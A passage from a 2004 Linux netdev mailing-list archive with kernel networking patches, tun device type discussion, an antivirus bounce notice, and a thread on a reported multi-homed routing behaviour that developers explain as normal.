BRIDGE_SIZE_MIN) || + (start & (end - start)))) + { + printk(KERN_INFO "yenta %s: Preassigned resource start %lx end %lx too small or not aligned.\n", socket->dev->slot_name, start, end); + res->start = res->end = 0; + } + else + #endif if (start && end > start) { res->start = start; res->end = end; The yenta_allocate_res() routine has a variety of restrictions it places on memory it assigns itself (it must be >= BRIDGE_SIZE_MIN, <= BRIDGE_SIZE_MAX, and aligned based on its size). However, the routine does not place any such restrictions on memory it is assigned by the BIOS. This is probably the case because it is assumed that such memory will meet the restrictions, but at least in some cases (such as in my configuration) this is not the case. I believe this fix will have no affect on properly functioning BIOS, and it should do the right thing when the BIOS decides it does not need to allocate enough aligned memory. However, my experience in the kernel is very limited, so I hope those who are far more versed in the details of the kernel than I will weigh in. Thanks! Alec --==========64F0AF502D9162668487========== Content-Type: text/plain; charset=us-ascii; name="lspci/iomem"; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline 00:00.0 Host bridge: Silicon Integrated Systems [SiS]: Unknown device 0651 (rev 02) Subsystem: Silicon Integrated Systems [SiS]: Unknown device 0651 Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- 00:01.0 PCI bridge: Silicon Integrated Systems [SiS] 5591/5592 AGP (prog-if 00 [Normal decode]) Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR+ FastB2B- Status: Cap- 66Mhz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- Reset- FastB2B- 00:02.0 ISA bridge: Silicon Integrated Systems [SiS] 85C503/5513 (rev 14) Control: I/O+ Mem+ BusMaster+ SpecCycle+ MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap- 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- Region 1: I/O ports at Region 2: I/O ports at Region 3: I/O ports at Region 4: I/O ports at 4000 [size=16] Capabilities: [58] Power Management version 2 Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold+) Status: D0 PME-Enable- DSel=0 DScale=0 PME- 00:02.7 Multimedia audio controller: Silicon Integrated Systems [SiS] SiS7012 PCI Audio Accelerator (rev a0) Subsystem: Holco Enterprise Co, Ltd/Shuttle Computer: Unknown device c120 Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- Reset- 16bInt- PostWrite+ 16-bit legacy interface ports at 0001 00:0a.1 CardBus bridge: Texas Instruments PCI1420 Subsystem: CARRY Computer ENG. CO Ltd: Unknown device 0202 Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Reset+ 16bInt+ PostWrite+ 16-bit legacy interface ports at 0001 00:0f.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8139/8139C (rev 10) Subsystem: Realtek Semiconductor Co., Ltd. RT8139 Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- TAbort- SERR- 02:00.0 Network controller: Harris Semiconductor: Unknown device 3890 (rev 01) Subsystem: Netgear: Unknown device 4800 Control: I/O- Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- ; Mon, 10 May 2004 10:18:50 -0700 Received: from crowley.qualcomm.com (crowley.qualcomm.com [129.46.61.151]) by ithilien.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i4AHI5U9001543; Mon, 10 May 2004 10:18:05 -0700 (PDT) Received: from [129.46.89.30] (workie.qualcomm.com [129.46.89.30]) by crowley.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i4AHI23O023281; Mon, 10 May 2004 10:18:02 -0700 (PDT) Subject: Re: tun device - bug or feature? WAS(Re: IMQ / new Dummy device post. From: Max Krasnyansky To: hadi@cyberus.ca Cc: netdev@oss.sgi.com, syrius.ml@no-log.org, Jeff Garzik , "David S. Miller" In-Reply-To: <1084017322.1041.30.camel@jzny.localdomain> References: <1082427350.1034.70.camel@jzny.localdomain> <1082639764.1059.81.camel@jzny.localdomain> <87oepjx65r.87n053x65r@87llknx65r.message.id> <1082719745.1057.27.camel@jzny.localdomain> <1082816083.1054.32.camel@jzny.localdomain> <1083007898.7788.276.camel@localhost> <1084017322.1041.30.camel@jzny.localdomain> Content-Type: text/plain Message-Id: <1084209482.758.15.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) Date: Mon, 10 May 2004 10:18:02 -0700 Content-Transfer-Encoding: 7bit X-archive-position: 5063 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: maxk@qualcomm.com Precedence: bulk X-list: netdev On Sat, 2004-05-08 at 04:55, jamal wrote: > Max, Dave, Jeff, > > I get what was bothering me now - it took me a while to formulate it: > > TUN_TUN_DEV dev->type is ARPHRD_PPP > dev->type is really related to link layer header, perhaps at the low > level if neighbor discovery works well then we have a link-headerless > packet which gets manipulated with the correct header by some generic > code. The combination of dev->type and dev->hard_header_len works > together to achieve this. > In the case of TUN_TUN_DEV, the header_len is 0 ;-> > To be of type ARPHRD_PPP, tun needs to have a header_len which is the > size of the l2 ppp header. > As an example, TUN_TAP_DEV is fine as type ARPHRD_ETHER and header_len > of ETH_HLEN. > > A lot of devices are abusing this system, tun is not the only one. > > My suggestion is to change dev->type to ARPHRD_VOID for TUN_TUN_DEV or > we introduce something like ARPHDR_NONE for devices with link layer > headers of size 0. > > thoughts? I have no problem with that. I mean introducing new ARPHDR_ type. ARPHDR_PPP was simply most appropriate for TUN that's why I picked it. I vote for ARPHDR_NONE. Thanks Max From jgarzik@pobox.com Tue May 11 00:08:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 11 May 2004 00:10:34 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4B77xKO031177 for ; Tue, 11 May 2004 00:08:00 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BNRMq-0004cv-5p; Tue, 11 May 2004 08:07:56 +0100 Message-ID: <40A07BC0.20906@pobox.com> Date: Tue, 11 May 2004 03:07:44 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Christoph Hellwig CC: netdev@oss.sgi.com Subject: Re: [PATCH] remove useless MOD_{INC,DEC}_USE_COUNT References: <20040507104311.GA10873@lst.de> In-Reply-To: <20040507104311.GA10873@lst.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5064 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Christoph Hellwig wrote: > *grr* - this one slipped in after my last round of audits it seems. > > > --- 1.15/drivers/net/gt96100eth.c Mon Apr 5 22:31:23 2004 > +++ edited/drivers/net/gt96100eth.c Mon May 3 13:22:22 2004 applied From _Svc_NortonAV@synergon.hu Tue May 11 07:26:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 11 May 2004 07:27:05 -0700 (PDT) Received: from cache1.synergon.hu (cache.synergon.hu [194.149.60.26]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4BEQvKO012711 for ; Tue, 11 May 2004 07:26:57 -0700 Date: Tue, 11 May 2004 07:26:57 -0700 Message-Id: <200405111426.i4BEQvKO012711@oss.sgi.com> Received: (qmail 17432 invoked from network); 11 May 2004 14:26:56 -0000 Received: from unknown (HELO sy2ba-smtp.synergon.hu) (194.149.60.55) by cache.synergon.hu with SMTP; 11 May 2004 14:26:56 -0000 From: _Svc_NortonAV@synergon.hu To: netdev@oss.sgi.com Subject: (SMTP) Virus found in a message you sent X-archive-position: 5065 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: _Svc_NortonAV@synergon.hu Precedence: bulk X-list: netdev (SMTP) A virus was found in a message sent by this account. --- Scan information follows --- Result: Virus Detected Virus Name: W32.Lovgate.R@mm File Attachment: data.scr Attachment Status: deleted --- Original message information follows --- From: netdev@oss.sgi.com To: tiv@itc.hu Date: Fri, 7 May 2004 17:02:20 +0900 Subject: MAIL DELIVERY SYSTEM Message-Id: <200405111426.i4BEQ83w022746@server.itc.hu> Received: from cache1.synergon.hu ([194.149.60.26]) by sy2ba-smtp.synergon.hu (SAVSMTP 3.1.0.29) with SMTP id M2004051116262423659 for ; Tue, 11 May 2004 16:26:24 +0200 From niv@us.ibm.com Tue May 11 11:09:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 11 May 2004 11:09:45 -0700 (PDT) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4BI9WKO020600 for ; Tue, 11 May 2004 11:09:39 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.195.10]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4BI7wYm585606; Tue, 11 May 2004 14:07:58 -0400 Received: from us.ibm.com ([9.17.193.83]) by westrelay01.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4BI7v3s501474; Tue, 11 May 2004 12:07:57 -0600 Message-ID: <40A11644.7090402@us.ibm.com> Date: Tue, 11 May 2004 11:07:00 -0700 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030225 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com CC: snortwiz@hotmail.com Subject: OSDL Bugzilla #2399: A user can remotely route a packet through eth0 on a Linux machine Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5066 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Forwarding a bug report from Jared McLaren below. Any thoughts? thanks, Nivedita I couldn't Google up any information on this situation, so here goes... Distribution: Mandrake Hardware Environment: Gateway 450SX4 laptop Software Environment: Mandrake 10, kernel 2.6.3-4mdk Problem Description: While pen-testing a dual-homed Linux-based VPN appliance, I discovered the device would route packets between its two interfaces without ip forwarding enabled. I could route packets directly to the external interface by setting the internal interface as the gateway. This device is based on a 2.4 kernel. I tested this on my Mandrake 10 (2.6.3-4mdk) laptop and found the same results from the 2.6.x kernel. For a test, I placed my wireless network card (eth1) in my laptop and assigned it the IP address 10.10.255.254. I bound SSH to 10.10.255.254 and restarted SSH. My wired ethernet card (eth0) was at IP address 172.20.13.162. On a remote desktop, I confirmed SSH was not available on 172.20.13.162. On that remote desktop I then added a route to 10.10.255.254 using gateway 172.20.13.162 and could then SSH to 10.10.255.254. A 'cat' or /proc/sys/net/ipv4/ip_forward on the Linux laptop was "0" so ip forwarding was not enabled. The end result is that you can reach services bound to an interface on a Linux machine that you may not be able to normally reach. This was all performed in the default kernel configuration. This is only possible when one of the interfaces resides on your network segment since it is used as a gateway. Steps to reproduce: a) Use a dual-homed machine (eth0, eth1) b) bind a service to eth1 c) from a different machine, add a route to the IP of eth0 d) attach to the service on the IP of eth1 From jan@ixiacom.com Tue May 11 11:44:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 11 May 2004 11:44:53 -0700 (PDT) Received: from racerx.ixiacom.com (64-60-75-69.cust.telepacific.net [64.60.75.69]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4BIifKO021307 for ; Tue, 11 May 2004 11:44:41 -0700 Received: by racerx.ixiacom.com with Internet Mail Service (5.5.2657.72) id ; Tue, 11 May 2004 11:44:43 -0700 Message-ID: <15FDCE057B48784C80836803AE3598D50627ACCF@racerx.ixiacom.com> From: Jan Olderdissen To: netdev@oss.sgi.com Cc: snortwiz@hotmail.com, "'Nivedita Singhvi'" Subject: RE: OSDL Bugzilla #2399: A user can remotely route a packet throu gh eth0 on a Linux machine Date: Tue, 11 May 2004 11:44:42 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain; charset="iso-8859-1" X-archive-position: 5067 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jan@ixiacom.com Precedence: bulk X-list: netdev Jared, I can't shake the feeling that the service didn't actually bind to eth1, but instead bound to INADDR_ANY. You can find out with 'netstat -lnp'. Would you mind posting the output? > A 'cat' or > /proc/sys/net/ipv4/ip_forward > on the Linux laptop was "0" so ip forwarding was not enabled. I don't think the ip_forward flag applies here. Jan From dlstevens@us.ibm.com Tue May 11 11:55:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 11 May 2004 11:55:28 -0700 (PDT) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4BItOKO021823 for ; Tue, 11 May 2004 11:55:25 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4BIro87448576; Tue, 11 May 2004 14:53:50 -0400 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4BIrnMV366996; Tue, 11 May 2004 12:53:49 -0600 In-Reply-To: <40A11644.7090402@us.ibm.com> To: niv@us.ibm.com Cc: netdev@oss.sgi.com, snortwiz@hotmail.com MIME-Version: 1.0 Subject: Re: OSDL Bugzilla #2399: A user can remotely route a packet through eth0 on a Linux machine X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Tue, 11 May 2004 12:53:46 -0600 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF168 | December 5, 2003) at 05/11/2004 12:53:49, Serialize complete at 05/11/2004 12:53:49 Content-Type: text/plain; charset="US-ASCII" X-archive-position: 5068 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev Routing is something done between different hosts. Hosts normally will accept packets for any local address, regardless of which interface it was received on. That's not a bug; that's how almost everything works. +-DLS From niv@us.ibm.com Tue May 11 12:17:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 11 May 2004 12:17:53 -0700 (PDT) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4BJHoKO022605 for ; Tue, 11 May 2004 12:17:50 -0700 Received: from westrelay03.boulder.ibm.com (westrelay03.boulder.ibm.com [9.17.195.12]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4BJGFBM740870; Tue, 11 May 2004 15:16:15 -0400 Received: from us.ibm.com ([9.17.193.83]) by westrelay03.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4BJGExf487372; Tue, 11 May 2004 13:16:15 -0600 Message-ID: <40A12646.7080605@us.ibm.com> Date: Tue, 11 May 2004 12:15:18 -0700 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030225 X-Accept-Language: en-us, en MIME-Version: 1.0 To: David Stevens CC: netdev@oss.sgi.com, snortwiz@hotmail.com Subject: Re: OSDL Bugzilla #2399: A user can remotely route a packet through eth0 on a Linux machine References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5069 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev David Stevens wrote: > Routing is something done between different hosts. Hosts normally > will accept packets for any local address, regardless of > which interface it was received on. > > That's not a bug; that's how almost everything works. I think the only issue here is if an application that binds to an interface should see packets coming in from another - if that is what is happening here?. thanks, Nivedita From akepner@sgi.com Tue May 11 13:02:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 11 May 2004 13:02:18 -0700 (PDT) Received: from omx2.sgi.com (mtvcafw.sgi.com [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4BK2CKO026998 for ; Tue, 11 May 2004 13:02:12 -0700 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by omx2.sgi.com (8.12.11/8.12.9/linux-outbound_gateway-1.1) with ESMTP id i4BK58gE010481 for ; Tue, 11 May 2004 13:05:08 -0700 Received: from neteng.engr.sgi.com (neteng.engr.sgi.com [192.26.80.10]) by cthulhu.engr.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id i4BK1p769845399; Tue, 11 May 2004 13:02:06 -0700 (PDT) Date: Tue, 11 May 2004 12:57:42 -0700 From: Arthur Kepner X-X-Sender: akepner@neteng.engr.sgi.com To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH] fix "ethtool -S" for tg3 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5070 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akepner@sgi.com Precedence: bulk X-list: netdev Here's a small mod I had to make to get "ethtool -S" to work with tg3 in 2.6.6: 8<----------------------------------------------------------------------------- --- linux/drivers/net/tg3.c 2004-05-11 12:11:45.000000000 -0700 +++ linux.orig/drivers/net/tg3.c 2004-05-11 12:34:47.000000000 -0700 @@ -6288,7 +6288,7 @@ struct ethtool_stats *estats, u64 *tmp_stats) { struct tg3 *tp = dev->priv; - memcpy(tmp_stats, &tp->estats, sizeof(tp->estats)); + memcpy(tmp_stats, tg3_get_estats(tp), sizeof(tp->estats)); } 8<----------------------------------------------------------------------------- -- Arthur From okir@suse.de Tue May 11 14:38:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 11 May 2004 14:38:16 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4BLc3KO029271 for ; Tue, 11 May 2004 14:38:03 -0700 Received: from hermes.suse.de (Hermes-ext.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id D4902591206; Tue, 11 May 2004 22:53:19 +0200 (CEST) Date: Tue, 11 May 2004 22:53:19 +0200 From: Olaf Kirch To: Nivedita Singhvi Cc: David Stevens , netdev@oss.sgi.com, snortwiz@hotmail.com Subject: Re: OSDL Bugzilla #2399: A user can remotely route a packet through eth0 on a Linux machine Message-ID: <20040511205319.GB26049@suse.de> References: <40A12646.7080605@us.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <40A12646.7080605@us.ibm.com> User-Agent: Mutt/1.4i X-archive-position: 5071 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: okir@suse.de Precedence: bulk X-list: netdev On Tue, May 11, 2004 at 12:15:18PM -0700, Nivedita Singhvi wrote: > I think the only issue here is if an application that > binds to an interface should see packets coming in > from another - if that is what is happening here?. Well, to bind to an interface you need to use SO_BINDTODEVICE. Everything else is just another address. You can even assign an address to the dummy device and as long as you create static arp entries, pinging that address from other hosts will work. Olaf -- Olaf Kirch | The Hardware Gods hate me. okir@suse.de | ---------------+ From mhuth@mvista.com Tue May 11 16:21:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 11 May 2004 16:21:27 -0700 (PDT) Received: from zipcode.az.mvista.com (rav-az.mvista.com [65.200.49.157]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4BNLKKO009086 for ; Tue, 11 May 2004 16:21:21 -0700 Received: from mvista.com ([10.50.1.182]) by zipcode.az.mvista.com (8.9.3/8.9.3) with ESMTP id QAA05827; Tue, 11 May 2004 16:48:06 -0700 Message-ID: <40A163A4.8050905@mvista.com> Date: Tue, 11 May 2004 16:37:08 -0700 From: Mark Huth User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: tcp_ipv6_check_established Content-Type: multipart/mixed; boundary="------------090806020709090101070306" X-archive-position: 5072 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mhuth@mvista.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------090806020709090101070306 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit There appears to be a long-standing bug in tcp_ipv6_check_established that results in the return of EADDRNOTAVAILABLE from connect(). It can be demonstrated in the following scenario: The following scenario fails in most known ipv6 linuxes All within a single node. Host has two IPv6 addresses: dead:dead:dead:dead::1/128 dead:dead:dead:dead::2/128 Application A creates two listening sockets: dead:dead:dead:dead::1 49997 dead:dead:dead:dead::2 49997 Application B creates a TCP-connection: from dead:dead:dead:dead::1 49998 to dead:dead:dead:dead::2 49997 Application C creates a TCP-connection: from dead:dead:dead:dead::2 49998 to dead:dead:dead:dead::1 49997 However, the latter operation fails, and connect() returns EADDRNOTAVAILABLE. Meaning that the host already has such a connection and the new one cannot be created. Clearly there is no identical connection used (different ports), thus connect() misbehaves. All sockets use SO_REUSEADDR-option, and all sockets bind() their source address and source ports before the attempted connect(). While the above may be somewhat contrived, the code is wrong by inspection. The check for the established connections interates on sk2, while the macro argument for TCP_IPV6_MATCH is sk. Thus the check result is invarient over the loop. A proposed patch for 2.6.6 is attached. A similar patch is required for 2.4 kernels, and is also attached. Mark Huth --------------090806020709090101070306 Content-Type: application/octet-stream; name="tcp_ipv6_check_est-2.6.6.patch" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="tcp_ipv6_check_est-2.6.6.patch" ZGlmZiAtdXIgbGludXgtMi42LjYvbmV0L2lwdjYvdGNwX2lwdjYuYyBsaW51eC0yLjYuNi1w YXRjaC9uZXQvaXB2Ni90Y3BfaXB2Ni5jCi0tLSBsaW51eC0yLjYuNi9uZXQvaXB2Ni90Y3Bf aXB2Ni5jCTIwMDQtMDUtMDkgMTk6MzI6MzguMDAwMDAwMDAwIC0wNzAwCisrKyBsaW51eC0y LjYuNi1wYXRjaC9uZXQvaXB2Ni90Y3BfaXB2Ni5jCTIwMDQtMDUtMTEgMTE6MTk6MjQuMDAw MDAwMDAwIC0wNzAwCkBAIC00NzksNyArNDc5LDcgQEAKIAogCS8qIEFuZCBlc3RhYmxpc2hl ZCBwYXJ0Li4uICovCiAJc2tfZm9yX2VhY2goc2syLCBub2RlLCAmaGVhZC0+Y2hhaW4pIHsK LQkJaWYoVENQX0lQVjZfTUFUQ0goc2ssIHNhZGRyLCBkYWRkciwgcG9ydHMsIGRpZikpCisJ CWlmKFRDUF9JUFY2X01BVENIKHNrMiwgc2FkZHIsIGRhZGRyLCBwb3J0cywgZGlmKSkKIAkJ CWdvdG8gbm90X3VuaXF1ZTsKIAl9CiAK --------------090806020709090101070306 Content-Type: application/octet-stream; name="tcp_ipv6_check_est-2.4.20.patch" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="tcp_ipv6_check_est-2.4.20.patch" ZGlmZiAtdXIgLS1leGNsdWRlIENWUyBsaW51eC9uZXQvaXB2Ni90Y3BfaXB2Ni5jIGxpbnV4 X3BhdGNoL25ldC9pcHY2L3RjcF9pcHY2LmMKLS0tIGxpbnV4L25ldC9pcHY2L3RjcF9pcHY2 LmMJMjAwMy0xMC0wMiAxMjowMzo1My4wMDAwMDAwMDAgLTA3MDAKKysrIGxpbnV4X3BhdGNo L25ldC9pcHY2L3RjcF9pcHY2LmMJMjAwNC0wNS0xMCAxODowMDoxNC4wMDAwMDAwMDAgLTA3 MDAKQEAgLTQ1NCw3ICs0NTQsNyBAQAogCXR3ID0gTlVMTDsKIAogCWZvcihza3AgPSAmaGVh ZC0+Y2hhaW47IChzazI9KnNrcCkhPU5VTEw7IHNrcCA9ICZzazItPm5leHQpIHsKLQkJaWYo VENQX0lQVjZfTUFUQ0goc2ssIHNhZGRyLCBkYWRkciwgcG9ydHMsIGRpZikpCisJCWlmKFRD UF9JUFY2X01BVENIKHNrMiwgc2FkZHIsIGRhZGRyLCBwb3J0cywgZGlmKSkKIAkJCWdvdG8g bm90X3VuaXF1ZTsKIAl9CiAK --------------090806020709090101070306-- From jan@ixiacom.com Tue May 11 16:47:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 11 May 2004 16:47:32 -0700 (PDT) Received: from racerx.ixiacom.com (64-60-75-69.cust.telepacific.net [64.60.75.69]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4BNlKKO009872 for ; Tue, 11 May 2004 16:47:22 -0700 Received: by racerx.ixiacom.com with Internet Mail Service (5.5.2657.72) id ; Tue, 11 May 2004 16:47:21 -0700 Message-ID: <15FDCE057B48784C80836803AE3598D50627ACD2@racerx.ixiacom.com> From: Jan Olderdissen To: "'netdev@oss.sgi.com'" Cc: Marko Rauhamaa Subject: [PATCH] TCP window remains locked at one mss Date: Tue, 11 May 2004 16:47:21 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain X-archive-position: 5073 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jan@ixiacom.com Precedence: bulk X-list: netdev Summary: The patch below will fix an annoying situation where an IPv4 TCP connection will never advertise the maximum available window size. The patch also properly sets the window size when free_space is less than 1 mss. The original code would just set the window size to zero. Target: The patch applies cleanly against 2.6.6. Discussion: The intent of the code at the bottom of __tcp_select_window() in ipv4/tcp_output.c is to round the window size to a multiple of mss while avoiding execution the div/mul code that aligns the window size to a multiple of mss. However, if the current window size happens to be max-mss it will stay that way indefinitely. This may not be a big deal for TCP connections with large buffers, but we regularly use buffer sizes of 4k to minimize memory use and quite often connections are stuck at a window size of 1448. This is quite detrimental to throughput. I propose that on most current architectures the savings in cycles in negligible, well outweighed by the cost of reducing the window size by 1 mss. As a separate item, the original code didn't match the comments in that the rounding code was executed even for very small free_space values. This would lead to the window size becoming zero. Testing: This patch was tested against 2.4.21 on IBM PowerPC 750CXe. It applies and compiles cleanly on 2.6.6. 8<-------------------------------------------------------------------------- --- --- linux.orig/net/ipv4/tcp_output.c 2004-05-11 13:59:41.000000000 -0700 +++ linux/net/ipv4/tcp_output.c 2004-05-11 15:18:25.000000000 -0700 @@ -746,15 +746,13 @@ u32 __tcp_select_window(struct sock *sk) /* Get the largest window that is a nice multiple of mss. * Window clamp already applied above. - * If our current window offering is within 1 mss of the - * free space we just keep it. This prevents the divide - * and multiply from happening most of the time. - * We also don't do any window rounding when the free space + * We don't do any window rounding when the free space * is too small. */ - window = tp->rcv_wnd; - if (window <= free_space - mss || window > free_space) + if (free_space > mss) window = (free_space/mss)*mss; + else + window = free_space; return window; } 8<-------------------------------------------------------------------------- --- Jan From gnb@melbourne.sgi.com Tue May 11 22:02:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 11 May 2004 22:02:32 -0700 (PDT) Received: from omx2.sgi.com (mtvcafw.sgi.com [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4C52UKO021696 for ; Tue, 11 May 2004 22:02:30 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by omx2.sgi.com (8.12.11/8.12.9/linux-outbound_gateway-1.1) with SMTP id i4C55SWG031699 for ; Tue, 11 May 2004 22:05:29 -0700 Received: from melbourne.sgi.com (speed.melbourne.sgi.com [134.14.55.174]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id PAA26227; Wed, 12 May 2004 15:02:17 +1000 Message-ID: <40A1AFD8.D5593759@melbourne.sgi.com> Date: Wed, 12 May 2004 15:02:16 +1000 From: Greg Banks Organization: SGI Australian Software Group X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18-6mdk i686) X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" , Linux Network Development list Subject: [PATCH] 